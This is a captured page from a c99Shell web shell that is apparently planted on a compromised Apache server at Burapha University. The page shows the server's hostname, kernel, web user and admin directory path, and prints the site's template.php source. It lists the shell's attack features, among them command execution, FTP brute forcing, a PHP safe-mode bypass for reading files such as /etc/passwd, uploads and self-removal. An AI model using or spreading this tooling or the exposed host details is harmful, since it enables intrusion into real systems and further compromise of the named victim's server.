!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     template.php (3.53 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../../class/clsConnection.php";
include_once 
"../../class/clsDB.php";
include_once(
"../../ums/clsUser.php");

session_start();
ob_start();
if (
session_is_registered("oU")) {
    
$oU->Lang = ($lang=="") ? "th" $lang;        //querystring when select language                            
    
if ($StID<>""$oU->StID $StID;                //querystring when selectmenu;
    
if ($GpID<>""$oU->GpID $GpID;            //querystring when selectmenu;
    
if ($MnID<>""$oU->MnID $MnID;            //querystring when selectmenu;
    
if ($MmnID<>""$oU->MmnID $MmnID;
    
//echo "$oU->StID, $oU->GpID, $oU->MnID";
    
$oU->GetRightsByMenu();        
}else {
    
$sessionID session_id();
    if (
$oU->SessionID<>$sessionID){
        if (
$refFromLogoutPage==""){
            echo 
"<meta http-equiv='refresh' content='0; URL=../logout.php'>";
            exit();
        }
    }
}

///////////////////////////////////////////////////////
include_once("../link/function.php");
include_once 
"../global.php";
function 
showHeader() {
    global 
$oU;
    global 
$sysDate;
    global 
$mm;
?>
<html>
<head>
<title><?php echo $GLOBALS["TITLE"];?></title>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<SCRIPT language="JavaScript1.2" src="../source/mainmenu.js" type="text/javascript"></SCRIPT>
<SCRIPT language="JavaScript1.2" src="../source/menuConfig.js" type="text/javascript"></SCRIPT>
<script language="javascript" src="../source/calendarDateInput.js"></script>
</head>
<body leftmargin="0" topmargin="0" bgcolor="<?php echo $GLOBALS["COLOR_BG_PAGE"];?>">
<table width="1003" border="0" cellspacing="0" cellpadding="0">
    <tr>
        <td colspan="2"><a name="#top"><img src="<?php echo "../".$GLOBALS["BANNER"];?>" align="absmiddle" border="0"></a></td>
    </tr>
    <tr>
        <td background="../picture/td1.gif" height="14">&nbsp;</td>
        <td background="../picture/td2.gif" height="14" align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"></font></td>
    </tr>
    <tr valign="top">
        <td width="193" valign="top" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"];?>" align="center">
        <table width="179" border="0" cellpadding="1" cellspacing="0">
            <tr valign="top">
                
          <td width="177" height="21" align="center"> 
            <?php
    $dd
=fullDate(getNowDateFw());
    include(
"../source/mainmenu.php");        
    
//include("/home/eregis/public_html/eregisTest/source/menu.php");        
?>
          </td>
            </tr>
        </table></td>
        <td width="810" valign="top">
<?php
    
if ($mm){
        include(
"../source/submenu.php");
        
showFooter();
        exit();        
    }
}

function 
showFooter() {
?>
        </td>
    </tr>
    <tr>
        <td bgcolor=<?php echo $GLOBALS["COLOR_BG_TD_1"];?>><br><br><font size="1" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"><img src="../picture/info.gif" align="absmiddle" border="0"> การแสดงผลที่เหมาะสมแนะนำ<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ให้ใช้ browser เป็น Internet<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Explorer และขนาดความกว้าง<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;หน้าจอ (Screen Area) เป็น<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1024x768 pixels</font><br><br></td>
        <td align="right" width="810"><br><br><br><br><br><a href="#top"><img src="<?php echo $GLOBALS["TOPLOGIN"];?>" align="absbottom" border="0"></a></td>
    </tr>
    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_3"]; ?>">
        <td height="22" colspan="2" align="center"><font size="1" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b>Copyright &copy; Computer Center Burapha University, Chon Buri</b></font></td>
    </tr>
</table>
</body>
</html>
<?php
    ob_end_flush
();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.014 ]--